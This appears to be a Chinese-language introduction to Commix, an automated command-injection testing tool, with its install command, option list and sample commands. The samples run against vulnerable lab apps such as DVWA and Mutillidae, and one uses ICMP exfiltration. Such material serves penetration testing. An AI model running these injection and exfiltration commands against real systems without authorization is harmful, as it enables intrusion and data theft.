Commix是一個(gè)適用于web開(kāi)發(fā)者、滲透測(cè)試人員及安全研究者的自動(dòng)化測(cè)試工具，可以幫助他們更高效的發(fā)現(xiàn)web應(yīng)用中的命令注入攻擊相關(guān)漏洞。Commix由Python編寫(xiě)。

　　環(huán)境要求

Python 2.6.x或2.7.x

安裝

下載git clone https://github.com/stasinopoulos/commix.git commix

使用

基本使用

Usage: python commix.py [options]

選項(xiàng)

-h, --help Show help and exit. --verbose Enable the verbose mode. --install Install 'commix' to your system. --version Show version number and exit. --update Check for updates (apply if any) and exit.

目標(biāo)

--url=URL Target URL. --url-reload Reload target URL after command execution.

請(qǐng)求

--host=HOST HTTP Host header. --referer=REFERER HTTP Referer header. --user-agent=AGENT HTTP User-Agent header. --cookie=COOKIE HTTP Cookie header. --headers=HEADERS Extra headers (e.g. 'Header1:Value1 Header2:Value2'). --proxy=PROXY Use a HTTP proxy (e.g. '127.0.0.1:8080'). --auth-url=AUTH_.. Login panel URL. --auth-data=AUTH.. Login parameters and data. --auth-cred=AUTH.. HTTP Basic Authentication credentials (e.g. 'admin:admin').

注入

--data=DATA POST data to inject (use 'INJECT_HERE' tag). --suffix=SUFFIX Injection payload suffix string. --prefix=PREFIX Injection payload prefix string. --technique=TECH Specify a certain injection technique : 'classic', 'eval-based', 'time-based' or 'file-based'. --maxlen=MAXLEN The length of the output on time-based technique (Default: 10000 chars). --delay=DELAY Set Time-delay for time-based and file-based techniques (Default: 1 sec). --base64 Use Base64 (enc)/(de)code trick to prevent false- positive results. --tmp-path=TMP_P.. Set remote absolute path of temporary files directory. --icmp-exfil=IP_.. Use the ICMP exfiltration technique (e.g. 'ip_src=192.168.178.1,ip_dst=192.168.178.3').

測(cè)試示例

測(cè)試漏洞web應(yīng)用Damn

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

使用注入攻擊Payload參數(shù)測(cè)試php-Charts 1.0

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"

使用特殊的頭和HTTP代理測(cè)試OWASP Mutillidae

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr ETag:123 " --proxy="127.0.0.1:8081"

使用ICMP滲漏（exfiltration）技術(shù)測(cè)試Persistence

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""